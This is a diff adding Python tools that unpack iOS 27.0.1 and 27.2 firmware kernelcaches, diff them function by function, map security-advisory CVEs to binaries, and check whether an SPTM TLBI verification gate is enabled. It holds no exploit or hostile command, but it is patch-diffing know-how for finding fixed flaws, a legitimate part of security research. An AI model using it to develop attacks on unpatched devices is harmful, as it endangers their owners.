|
||||||
|
def extract(data, off, out):
|
||||||
|
m = ipswlib.MachO(data, off)
|
||||||
|
end = 32 + m.sizeofcmds
|
||||||
|
for s in m.segments:
|
||||||
|
base = s["fileoff"] if s["fileoff"] >= off else off + s["fileoff"]
|
||||||
|
end = max(end, base + s["filesize"])
|
||||||
|
blob = bytearray(data[off:end])
|
||||||
|
|
||||||
|
o = 32
|
||||||
|
for _ in range(m.ncmds):
|
||||||
|
cmd, cmdsize = struct.unpack_from("<II", blob, o)
|
||||||
|
if cmd == LC_SEGMENT_64:
|
||||||
|
# segment_command_64: cmd8 cmdsize8 segname16 vmaddr8 vmsize8 fileoff8 ...
|
||||||
|
fileoff = struct.unpack_from("<Q", blob, o + 40)[0]
|
||||||
|
if fileoff >= off:
|
||||||
|
struct.pack_into("<Q", blob, o + 40, fileoff - off)
|
||||||
|
nsects = struct.unpack_from("<I", blob, o + 64)[0]
|
||||||
|
so = o + 72
|
||||||
|
for _s in range(nsects):
|
||||||
|
soff = struct.unpack_from("<I", blob, so + 48)[0]
|
||||||
|
if soff >= off:
|
||||||
|
struct.pack_into("<I", blob, so + 48, soff - off)
|
||||||
|
so += 80
|
||||||
|
elif cmd == 0x2: # LC_SYMTAB
|
||||||
|
for f in (8, 16):
|
||||||
|
v = struct.unpack_from("<I", blob, o + f)[0]
|
||||||
|
if v >= off: struct.pack_into("<I", blob, o + f, v - off)
|
||||||
|
elif cmd == 0xb: # LC_DYSYMTAB
|
||||||
|
for f in (32, 40, 48, 56, 64, 72):
|
||||||
|
v = struct.unpack_from("<I", blob, o + f)[0]
|
||||||
|
if v >= off: struct.pack_into("<I", blob, o + f, v - off)
|
||||||
|
elif cmd in (0x22, 0x80000022): # LC_DYLD_INFO / _ONLY
|
||||||
|
for f in (8, 16, 24, 32, 40):
|
||||||
|
v = struct.unpack_from("<I", blob, o + f)[0]
|
||||||
|
if v >= off: struct.pack_into("<I", blob, o + f, v - off)
|
||||||
|
elif cmd in (0x26, 0x1d, 0x80000033, 0x80000034): # FUNCTION_STARTS, CODE_SIG, EXPORTS_TRIE, CHAINED_FIXUPS
|
||||||
|
v = struct.unpack_from("<I", blob, o + 8)[0]
|
||||||
|
if v >= off: struct.pack_into("<I", blob, o + 8, v - off)
|
||||||
|
o += cmdsize
|
||||||
|
|
||||||
|
with open(out, "wb") as f:
|
||||||
|
f.write(blob)
|
||||||
|
return len(blob)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
kernel, entries, bid, out = sys.argv[1:5]
|
||||||
|
data = open(kernel, "rb").read()
|
||||||
|
table = {n: o for n, o, v in json.load(open(entries))}
|
||||||
|
n = extract(data, table[bid], out)
|
||||||
|
print("wrote", out, n, "bytes")
|
||||||
@@ -0,0 +1,245 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Minimal IPSW / IM4P / Mach-O toolkit for the 27.0.1 vs 27.2 kernel diff.
|
||||||
|
|
||||||
|
No external ipsw binary is available on this host, so this implements the pieces
|
||||||
|
needed for the kernelcache comparison:
|
||||||
|
|
||||||
|
* IM4P container parse + LZFSE payload decode
|
||||||
|
* embedded Mach-O (kext) scan inside a prelinked kernelcache
|
||||||
|
* UUID / segment / function-start extraction
|
||||||
|
* function-level hashing and a two-build diff
|
||||||
|
|
||||||
|
Only reads files; nothing here writes to a device.
|
||||||
|
"""
|
||||||
|
import hashlib
|
||||||
|
import os
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import zipfile
|
||||||
|
|
||||||
|
try:
|
||||||
|
import lzfse
|
||||||
|
except ImportError:
|
||||||
|
lzfse = None
|
||||||
|
|
||||||
|
|
||||||
|
# ── IM4P ────────────────────────────────────────────────────────────────────
|
||||||
|
def im4p_payload(data: bytes) -> bytes:
|
||||||
|
if data[:4] != b"IM4P":
|
||||||
|
return data
|
||||||
|
# magic(4) type(4) header_len(4 BE) header payload
|
||||||
|
hlen = struct.unpack(">I", data[8:12])[0]
|
||||||
|
return data[12 + hlen:]
|
||||||
|
|
||||||
|
|
||||||
|
def decompress(payload: bytes) -> bytes:
|
||||||
|
# LZFSE streams start with bvx2 / bvx- / bvx$
|
||||||
|
for magic in (b"bvx2", b"bvx-", b"bvx$"):
|
||||||
|
i = payload.find(magic)
|
||||||
|
if i >= 0:
|
||||||
|
if lzfse is None:
|
||||||
|
raise RuntimeError("lzfse module missing")
|
||||||
|
return lzfse.decompress(payload[i:])
|
||||||
|
if payload[:2] == b"\x1f\x8b":
|
||||||
|
import gzip
|
||||||
|
return gzip.decompress(payload)
|
||||||
|
return payload
|
||||||
|
|
||||||
|
|
||||||
|
def read_kernelcache(ipsw_path: str, member: str) -> bytes:
|
||||||
|
with zipfile.ZipFile(ipsw_path) as z:
|
||||||
|
raw = z.read(member)
|
||||||
|
return decompress(im4p_payload(raw))
|
||||||
|
|
||||||
|
|
||||||
|
# ── Mach-O ──────────────────────────────────────────────────────────────────
|
||||||
|
MH_MAGIC_64 = 0xFEEDFACF
|
||||||
|
LC_SEGMENT_64 = 0x19
|
||||||
|
LC_SYMTAB = 0x2
|
||||||
|
LC_UUID = 0x1B
|
||||||
|
LC_FUNCTION_STARTS = 0x26
|
||||||
|
LC_UNIXTHREAD = 0x5
|
||||||
|
|
||||||
|
CPU_NAMES = {0x0100000C: "arm64", 0x0100000C | 0x02000000: "arm64e"}
|
||||||
|
|
||||||
|
|
||||||
|
class MachO:
|
||||||
|
def __init__(self, data: bytes, off: int = 0):
|
||||||
|
self.data = data
|
||||||
|
self.off = off
|
||||||
|
magic, cputype, cpusub, filetype, ncmds, sizeofcmds, flags, _ = struct.unpack_from(
|
||||||
|
"<IiiIIIII", data, off)
|
||||||
|
if magic != MH_MAGIC_64:
|
||||||
|
raise ValueError("not a 64-bit Mach-O")
|
||||||
|
self.magic = magic
|
||||||
|
self.cputype = cputype
|
||||||
|
self.cpusub = cpusub
|
||||||
|
self.filetype = filetype
|
||||||
|
self.ncmds = ncmds
|
||||||
|
self.sizeofcmds = sizeofcmds
|
||||||
|
self.flags = flags
|
||||||
|
self.segments = []
|
||||||
|
self.uuid = None
|
||||||
|
self.function_starts = None
|
||||||
|
self.symtab = None
|
||||||
|
self._parse_commands()
|
||||||
|
|
||||||
|
def _parse_commands(self):
|
||||||
|
o = self.off + 32
|
||||||
|
for _ in range(self.ncmds):
|
||||||
|
cmd, cmdsize = struct.unpack_from("<II", self.data, o)
|
||||||
|
if cmdsize < 8:
|
||||||
|
break
|
||||||
|
if cmd == LC_SEGMENT_64:
|
||||||
|
name = self.data[o + 8:o + 24].split(b"\0")[0].decode("ascii", "replace")
|
||||||
|
vmaddr, vmsize, fileoff, filesize = struct.unpack_from("<QQQQ", self.data, o + 24)
|
||||||
|
maxprot, initprot, nsects, flags = struct.unpack_from("<IIII", self.data, o + 56)
|
||||||
|
seg = {
|
||||||
|
"name": name, "vmaddr": vmaddr, "vmsize": vmsize,
|
||||||
|
"fileoff": fileoff, "filesize": filesize,
|
||||||
|
"maxprot": maxprot, "initprot": initprot, "nsects": nsects,
|
||||||
|
"sections": [],
|
||||||
|
}
|
||||||
|
so = o + 72
|
||||||
|
for _s in range(nsects):
|
||||||
|
sect = self.data[so:so + 16].split(b"\0")[0].decode("ascii", "replace")
|
||||||
|
segn = self.data[so + 16:so + 32].split(b"\0")[0].decode("ascii", "replace")
|
||||||
|
addr, size, offset = struct.unpack_from("<QQI", self.data, so + 32)
|
||||||
|
seg["sections"].append({"seg": segn, "sect": sect, "addr": addr,
|
||||||
|
"size": size, "offset": offset})
|
||||||
|
so += 80
|
||||||
|
self.segments.append(seg)
|
||||||
|
elif cmd == LC_UUID:
|
||||||
|
self.uuid = self.data[o + 8:o + 24].hex()
|
||||||
|
elif cmd == LC_FUNCTION_STARTS:
|
||||||
|
dataoff, datasize = struct.unpack_from("<II", self.data, o + 8)
|
||||||
|
self.function_starts = (dataoff, datasize)
|
||||||
|
elif cmd == LC_SYMTAB:
|
||||||
|
symoff, nsyms, stroff, strsize = struct.unpack_from("<IIII", self.data, o + 8)
|
||||||
|
self.symtab = (symoff, nsyms, stroff, strsize)
|
||||||
|
o += cmdsize
|
||||||
|
|
||||||
|
def text_segment(self):
|
||||||
|
for s in self.segments:
|
||||||
|
if s["name"] == "__TEXT_EXEC":
|
||||||
|
return s
|
||||||
|
for s in self.segments:
|
||||||
|
if s["name"] == "__TEXT":
|
||||||
|
return s
|
||||||
|
return None
|
||||||
|
|
||||||
|
def function_offsets(self):
|
||||||
|
"""Absolute file offsets of function starts, decoded from LC_FUNCTION_STARTS."""
|
||||||
|
if not self.function_starts:
|
||||||
|
return []
|
||||||
|
dataoff, datasize = self.function_starts
|
||||||
|
base = self.off + dataoff
|
||||||
|
end = base + datasize
|
||||||
|
text = self.text_segment()
|
||||||
|
if text is None:
|
||||||
|
return []
|
||||||
|
# LC_FUNCTION_STARTS dataoff is relative to the Mach-O header (linkedit).
|
||||||
|
addr = text["vmaddr"]
|
||||||
|
out = []
|
||||||
|
p = base
|
||||||
|
while p < end and self.data[p] != 0:
|
||||||
|
delta = 0
|
||||||
|
shift = 0
|
||||||
|
while True:
|
||||||
|
b = self.data[p]
|
||||||
|
p += 1
|
||||||
|
delta |= (b & 0x7F) << shift
|
||||||
|
shift += 7
|
||||||
|
if not (b & 0x80):
|
||||||
|
break
|
||||||
|
addr += delta
|
||||||
|
out.append(addr)
|
||||||
|
return out
|
||||||
|
|
||||||
|
def _file_base(self, s):
|
||||||
|
# In a MH_FILESET, segment fileoffs are absolute in the container; in a
|
||||||
|
# standalone Mach-O they are relative to the header (which sits at self.off).
|
||||||
|
return s["fileoff"] if s["fileoff"] >= self.off else self.off + s["fileoff"]
|
||||||
|
|
||||||
|
def vm_to_file(self, addr, seg=None):
|
||||||
|
for s in self.segments:
|
||||||
|
if s["vmaddr"] <= addr < s["vmaddr"] + s["vmsize"]:
|
||||||
|
return self._file_base(s) + (addr - s["vmaddr"])
|
||||||
|
return None
|
||||||
|
|
||||||
|
def cstring_bytes(self):
|
||||||
|
out = bytearray()
|
||||||
|
for seg in self.segments:
|
||||||
|
for sec in seg.get("sections", []):
|
||||||
|
if sec["sect"] in ("__cstring", "__oslogstring"):
|
||||||
|
base = sec["offset"] if sec["offset"] >= self.off else self.off + sec["offset"]
|
||||||
|
out += self.data[base: base + sec["size"]]
|
||||||
|
out += b"\0"
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
def text_bytes(self):
|
||||||
|
t = self.text_segment()
|
||||||
|
if not t:
|
||||||
|
return b""
|
||||||
|
base = self._file_base(t)
|
||||||
|
return self.data[base: base + t["filesize"]]
|
||||||
|
|
||||||
|
|
||||||
|
def scan_machos(data: bytes, limit=20000):
|
||||||
|
"""Scan a prelinked kernelcache for embedded Mach-O headers (page aligned)."""
|
||||||
|
out = []
|
||||||
|
off = 0
|
||||||
|
n = len(data)
|
||||||
|
while off + 32 <= n and len(out) < limit:
|
||||||
|
if data[off:off + 4] == b"\xcf\xfa\xed\xfe":
|
||||||
|
try:
|
||||||
|
m = MachO(data, off)
|
||||||
|
out.append(m)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
off += 0x1000 # kexts are page aligned
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def macho_summary(m: MachO) -> dict:
|
||||||
|
text = m.text_bytes()
|
||||||
|
return {
|
||||||
|
"off": m.off,
|
||||||
|
"cpu": CPU_NAMES.get(m.cputype, hex(m.cputype)),
|
||||||
|
"sub": m.cpusub,
|
||||||
|
"filetype": m.filetype,
|
||||||
|
"uuid": m.uuid,
|
||||||
|
"text_size": len(text),
|
||||||
|
"text_sha256": hashlib.sha256(text).hexdigest()[:16],
|
||||||
|
"segments": [(s["name"], s["vmsize"]) for s in m.segments if s["name"].startswith("__")],
|
||||||
|
"nfuncs": len(m.function_offsets()) if m.function_starts else 0,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
cmd = sys.argv[1] if len(sys.argv) > 1 else ""
|
||||||
|
if cmd == "list":
|
||||||
|
with zipfile.ZipFile(sys.argv[2]) as z:
|
||||||
|
for i in z.infolist():
|
||||||
|
if any(k in i.filename for k in ("kernelcache", "dyld_shared_cache", "BuildManifest")):
|
||||||
|
print(i.filename, i.file_size)
|
||||||
|
elif cmd == "kernel":
|
||||||
|
data = read_kernelcache(sys.argv[2], sys.argv[3])
|
||||||
|
print("kernelcache bytes", len(data), "sha256", hashlib.sha256(data).hexdigest()[:16])
|
||||||
|
ms = scan_machos(data)
|
||||||
|
print("embedded Mach-Os:", len(ms))
|
||||||
|
for m in ms[:10]:
|
||||||
|
print(macho_summary(m))
|
||||||
|
else:
|
||||||
|
print("usage: ipswlib.py list <ipsw> | kernel <ipsw> <member>")
|
||||||
|
|
||||||
|
|
||||||
|
def dump_macho(m: MachO, path: str) -> int:
|
||||||
|
"""Write the Mach-O image (header through the last segment's file extent)."""
|
||||||
|
end = 32 + m.sizeofcmds
|
||||||
|
for s in m.segments:
|
||||||
|
end = max(end, s["fileoff"] + s["filesize"])
|
||||||
|
blob = m.data[m.off:m.off + end]
|
||||||
|
with open(path, "wb") as f:
|
||||||
|
f.write(blob)
|
||||||
|
return len(blob)
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Map the iOS 27.2 advisory entries to binary candidates and emit a report skeleton.
|
||||||
|
|
||||||
|
Usage: python3 map_advisory.py <advisory.json> <out.md>
|
||||||
|
The mapping is a heuristic name table; it is refined later by the actual kext and
|
||||||
|
dylib inventory extracted from the IPSWs.
|
||||||
|
"""
|
||||||
|
import json
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# component -> (kind, candidate binary / kext)
|
||||||
|
MAP = {
|
||||||
|
"Kernel": ("kernel", "kernelcache core (pmap/ipc/vm/bsd)"),
|
||||||
|
"AVEVideoEncoder": ("kernel+user", "com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin"),
|
||||||
|
"Apple Neural Engine": ("kernel+user", "AppleH16ANEInterface / AppleNeuralEngine.framework"),
|
||||||
|
"IOKit": ("kernel+user", "IOKit.framework / IOKit kexts"),
|
||||||
|
"IOHIDFamily": ("kernel", "com.apple.iokit.IOHIDFamily"),
|
||||||
|
"IOStorageFamily": ("kernel", "com.apple.iokit.IOStorageFamily"),
|
||||||
|
"IOMobileFrameBuffer": ("kernel", "com.apple.driver.IOMobileFrameBuffer"),
|
||||||
|
"IOSurface": ("kernel+user", "IOSurface.framework / IOSurface kext"),
|
||||||
|
"HFS": ("kernel", "com.apple.filesystems.hfs.kext"),
|
||||||
|
"Compression": ("user", "libcompression.dylib"),
|
||||||
|
"CoreMedia": ("user", "CoreMedia.framework / mediaplaybackd"),
|
||||||
|
"CoreGraphics": ("user", "CoreGraphics.framework"),
|
||||||
|
"CoreText": ("user", "CoreText.framework"),
|
||||||
|
"CoreAudio": ("user", "CoreAudio.framework / AudioToolbox"),
|
||||||
|
"Audio": ("user", "AudioToolbox / AudioCodecs"),
|
||||||
|
"ImageIO": ("user", "ImageIO.framework"),
|
||||||
|
"FontParser": ("user", "FontParser.framework"),
|
||||||
|
"libarchive": ("user", "libarchive.2.dylib"),
|
||||||
|
"LinkPresentation": ("user", "LinkPresentation.framework"),
|
||||||
|
"WebKit": ("user", "JavaScriptCore / WebKit / WebCore"),
|
||||||
|
"WebKit Canvas": ("user", "WebCore (canvas)"),
|
||||||
|
"WebKit JavaScript Bindings": ("user", "JavaScriptCore bindings"),
|
||||||
|
"WebKit Process Model": ("user", "WebKit process model"),
|
||||||
|
"WebRTC": ("user", "WebRTC.framework"),
|
||||||
|
"Security": ("user", "Security.framework"),
|
||||||
|
"Wi-Fi": ("user+kernel", "WiFi frameworks / IO80211 kext"),
|
||||||
|
"USB": ("kernel", "USB kexts"),
|
||||||
|
"Power Management": ("kernel", "com.apple.driver.AppleARMPlatform / PM kexts"),
|
||||||
|
"Bluetooth": ("user+kernel", "Bluetooth.framework / IOBluetooth kexts"),
|
||||||
|
"mDNSResponder": ("user", "mDNSResponder"),
|
||||||
|
"Thread": ("user", "ThreadNetwork.framework"),
|
||||||
|
"MobileGestalt": ("user", "MobileGestalt"),
|
||||||
|
"SpringBoard": ("user", "SpringBoard"),
|
||||||
|
"Messages": ("user", "Messages / IMSharedUtilities"),
|
||||||
|
"Mail": ("user", "Mail"),
|
||||||
|
"Maps": ("user", "Maps"),
|
||||||
|
"Photos Storage": ("user", "Photos"),
|
||||||
|
"Spotlight": ("user", "Spotlight"),
|
||||||
|
"Siri": ("user", "Siri"),
|
||||||
|
"Shortcuts": ("user", "Shortcuts"),
|
||||||
|
"HomeKit": ("user", "HomeKit"),
|
||||||
|
"CloudKit": ("user", "CloudKit"),
|
||||||
|
"Contacts": ("user", "Contacts"),
|
||||||
|
"Calendar": ("user", "CalendarFoundation"),
|
||||||
|
"App Store": ("user", "AppStore"),
|
||||||
|
"App Intents": ("user", "AppIntents"),
|
||||||
|
"Apple Intelligence": ("user", "AppleIntelligence"),
|
||||||
|
"AccessorySetupKit": ("user", "AccessorySetupKit"),
|
||||||
|
"Accounts": ("user", "Accounts"),
|
||||||
|
"FileProvider": ("user", "FileProvider"),
|
||||||
|
"Files": ("user", "Files"),
|
||||||
|
"Heimdal": ("user", "Heimdal (Kerberos)"),
|
||||||
|
"MediaAnalysis": ("user", "MediaAnalysis"),
|
||||||
|
"MediaRemote": ("user", "MediaRemote"),
|
||||||
|
"Quick Look": ("user", "QuickLook"),
|
||||||
|
"RealityKit": ("user", "RealityKit"),
|
||||||
|
"ReplayKit": ("user", "ReplayKit"),
|
||||||
|
"Safety Check": ("user", "SafetyCheck"),
|
||||||
|
"SceneKit": ("user", "SceneKit"),
|
||||||
|
"Screen Time": ("user", "ScreenTime"),
|
||||||
|
"SwiftUI": ("user", "SwiftUI"),
|
||||||
|
"System Preferences": ("user", "SystemPreferences"),
|
||||||
|
"TextKit": ("user", "TextKit"),
|
||||||
|
"Accelerate Framework": ("user", "Accelerate"),
|
||||||
|
"ColorSync": ("user", "ColorSync"),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
rows = json.load(open(sys.argv[1]))
|
||||||
|
out = sys.argv[2]
|
||||||
|
lines = ["# iOS 27.2 advisory — component → binary map", ""]
|
||||||
|
lines.append(f"Entries: {len(rows)} Components: {len(set(r['component'] for r in rows))}")
|
||||||
|
lines.append("")
|
||||||
|
lines.append("| CVE | Component | Impact | Binary candidate |")
|
||||||
|
lines.append("|---|---|---|---|")
|
||||||
|
for r in sorted(rows, key=lambda x: (x["component"], x["cve"])):
|
||||||
|
kind, cand = MAP.get(r["component"], ("unknown", "?"))
|
||||||
|
lines.append(f"| {r['cve']} | {r['component']} | {r['impact'][:70]} | {cand} |")
|
||||||
|
open(out, "w").write("\n".join(lines) + "\n")
|
||||||
|
print("wrote", out, len(rows), "entries")
|
||||||
|
missing = sorted(set(r["component"] for r in rows) - set(MAP))
|
||||||
|
print("unmapped components:", missing)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Remote ZIP reader over HTTP Range, so the kernelcache can be inspected before the
|
||||||
|
full IPSW finishes downloading.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 remote_ipsw.py list <url>
|
||||||
|
python3 remote_ipsw.py extract <url> <member-substring> <out>
|
||||||
|
"""
|
||||||
|
import io
|
||||||
|
import sys
|
||||||
|
import urllib.request
|
||||||
|
import zipfile
|
||||||
|
|
||||||
|
|
||||||
|
class HTTPRangeFile(io.RawIOBase):
|
||||||
|
def __init__(self, url, block=4 << 20):
|
||||||
|
self.url = url
|
||||||
|
self.pos = 0
|
||||||
|
self.block = block
|
||||||
|
self.cache = {}
|
||||||
|
req = urllib.request.Request(url, method="HEAD")
|
||||||
|
with urllib.request.urlopen(req) as r:
|
||||||
|
self.size = int(r.headers["Content-Length"])
|
||||||
|
self.ranges = r.headers.get("Accept-Ranges", "").lower() == "bytes"
|
||||||
|
|
||||||
|
def seekable(self): return True
|
||||||
|
def readable(self): return True
|
||||||
|
def tell(self): return self.pos
|
||||||
|
|
||||||
|
def seek(self, off, whence=0):
|
||||||
|
if whence == 0: self.pos = off
|
||||||
|
elif whence == 1: self.pos += off
|
||||||
|
else: self.pos = self.size + off
|
||||||
|
return self.pos
|
||||||
|
|
||||||
|
def _fetch(self, start, end):
|
||||||
|
key = (start // self.block) * self.block
|
||||||
|
if key in self.cache:
|
||||||
|
return self.cache[key]
|
||||||
|
stop = min(self.size - 1, key + self.block - 1)
|
||||||
|
req = urllib.request.Request(self.url, headers={"Range": f"bytes={key}-{stop}"})
|
||||||
|
with urllib.request.urlopen(req) as r:
|
||||||
|
data = r.read()
|
||||||
|
self.cache[key] = data
|
||||||
|
if len(self.cache) > 8:
|
||||||
|
self.cache.pop(next(iter(self.cache)))
|
||||||
|
return data
|
||||||
|
|
||||||
|
def read(self, n=-1):
|
||||||
|
if n is None or n < 0:
|
||||||
|
n = self.size - self.pos
|
||||||
|
if n == 0 or self.pos >= self.size:
|
||||||
|
return b""
|
||||||
|
out = bytearray()
|
||||||
|
while n > 0 and self.pos < self.size:
|
||||||
|
block = self._fetch(self.pos, self.pos)
|
||||||
|
base = (self.pos // self.block) * self.block
|
||||||
|
off = self.pos - base
|
||||||
|
take = min(n, len(block) - off)
|
||||||
|
if take <= 0:
|
||||||
|
break
|
||||||
|
out += block[off:off + take]
|
||||||
|
self.pos += take
|
||||||
|
n -= take
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
cmd, url = sys.argv[1], sys.argv[2]
|
||||||
|
f = HTTPRangeFile(url)
|
||||||
|
print("size", f.size, "range", f.ranges)
|
||||||
|
z = zipfile.ZipFile(f)
|
||||||
|
if cmd == "list":
|
||||||
|
for i in z.infolist():
|
||||||
|
if any(k in i.filename for k in ("kernelcache", "dyld_shared_cache", "BuildManifest")):
|
||||||
|
print(i.filename, i.file_size, i.compress_type)
|
||||||
|
elif cmd == "extract":
|
||||||
|
pat, out = sys.argv[3], sys.argv[4]
|
||||||
|
names = [i.filename for i in z.infolist() if pat in i.filename and not i.is_dir()]
|
||||||
|
print("matches:", names[:10], "count", len(names))
|
||||||
|
if not names:
|
||||||
|
return
|
||||||
|
name = names[0]
|
||||||
|
with z.open(name) as src, open(out, "wb") as dst:
|
||||||
|
while True:
|
||||||
|
chunk = src.read(8 << 20)
|
||||||
|
if not chunk: break
|
||||||
|
dst.write(chunk)
|
||||||
|
print("wrote", out)
|
||||||
|
else:
|
||||||
|
print("usage: list|extract")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Check whether an IPSW's SPTM TLBI verification gate is enabled for a device.
|
||||||
|
|
||||||
|
Usage: python3 sptm_gate.py <sptm.bin> <devicetree.bin>
|
||||||
|
Both inputs are decoded Mach-O/IM4P payloads (see remote_ipsw.py + ipswlib.py).
|
||||||
|
|
||||||
|
Background: SPTM 27.2 parses /arm-io/sgx and looks up
|
||||||
|
verify-gmmu-tlbis-at-sync. If the property is missing it sets the verify flag
|
||||||
|
to 0 (0xfffffff0270cc18c: strb wzr,[x22,#0x81]) and the GMMU TLBI completion
|
||||||
|
check is skipped. This script reports whether the gate is present in the DT.
|
||||||
|
"""
|
||||||
|
import sys
|
||||||
|
|
||||||
|
KEYS = [
|
||||||
|
b"verify-gmmu-tlbis-at-sync",
|
||||||
|
b"gmmu-tlbi-verification-reg",
|
||||||
|
b"gmmu-tlbi-verification-bit",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
sptm = open(sys.argv[1], "rb").read()
|
||||||
|
dt = open(sys.argv[2], "rb").read()
|
||||||
|
print("SPTM strings:")
|
||||||
|
for k in KEYS:
|
||||||
|
print(f" {k.decode():32} {'present' if k in sptm else 'absent'}")
|
||||||
|
print("DeviceTree gate:")
|
||||||
|
for k in KEYS:
|
||||||
|
print(f" {k.decode():32} {'present' if k in dt else 'absent'}")
|
||||||
|
gate = all(k in dt for k in KEYS)
|
||||||
|
print()
|
||||||
|
print("VERDICT:", "gate ENABLED" if gate else "gate DISABLED (SPTM check will be skipped)")
|
||||||
|
return 0 if gate else 1
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
Reference in new issue
Block a user